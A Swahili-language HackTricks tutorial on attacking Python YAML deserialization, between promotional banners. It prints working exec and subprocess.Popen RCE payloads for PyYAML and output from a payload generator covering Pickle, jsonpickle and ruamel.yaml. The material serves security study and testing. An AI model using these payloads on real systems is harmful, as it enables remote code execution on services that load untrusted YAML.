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Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
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- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa kipekee wa NFTs
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Udhibiti wa Yaml
Maktaba za python za Yaml pia zina uwezo wa kudhibiti vitu vya python na sio tu data safi:
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
Angalia jinsi tuple sio aina ya data ya msingi na kwa hivyo ilikuwa imeserilishwa. Na hilo hilo lilitokea na range (imechukuliwa kutoka kwa builtins).
safe_load() au safe_load_all() hutumia SafeLoader na haisaidii deserialization ya vitu vya darasa. Mfano wa deserialization ya vitu vya darasa:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
Msimbo uliopita ulitumia unsafe_load ili kupakia darasa la python lililopangwa. Hii ni kwa sababu katika toleo >= 5.1, haikuruhusu kupakia darasa lolote la python lililopangwa au sifa ya darasa, na Loader haikufafanuliwa katika load() au Loader=SafeLoader.
Shambulio Rahisi
Mfano wa jinsi ya kutekeleza usingizi:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
.load("<maudhui>") isiyokuwa na Loader inayoweza kudhurika
Toleo za zamani za pyyaml zilikuwa na udhaifu wa mashambulizi ya deserialisations ikiwa haukutaja Loader wakati wa kupakia kitu: yaml.load(data)
Unaweza kupata maelezo ya udhaifu hapa. Shambulio lililopendekezwa exploit katika ukurasa huo ni:
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
Au unaweza kutumia hii amri moja iliyotolewa na @ishaack:
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
Tafadhali kumbuka kuwa katika toleo jipya, huwezi kuita .load() bila Loader na FullLoader haiko tena katika hatari ya shambulio hili.
RCE
Malipo maalum yanaweza kuundwa kwa kutumia moduli za Python YAML kama vile PyYAML au ruamel.yaml. Malipo haya yanaweza kutumia udhaifu katika mifumo ambayo inadeserialize data isiyoaminika bila kusafisha ipasavyo.
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
Zana ya Kuunda Payloads
Zana https://github.com/j0lt-github/python-deserialization-attack-payload-generator inaweza kutumika kuunda payloads za python deserialization kwa kudhuru Pickle, PyYAML, jsonpickle na ruamel.yaml:
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
Marejeo
- https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
- https://net-square.com/yaml-deserialization-attack-in-python.html
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.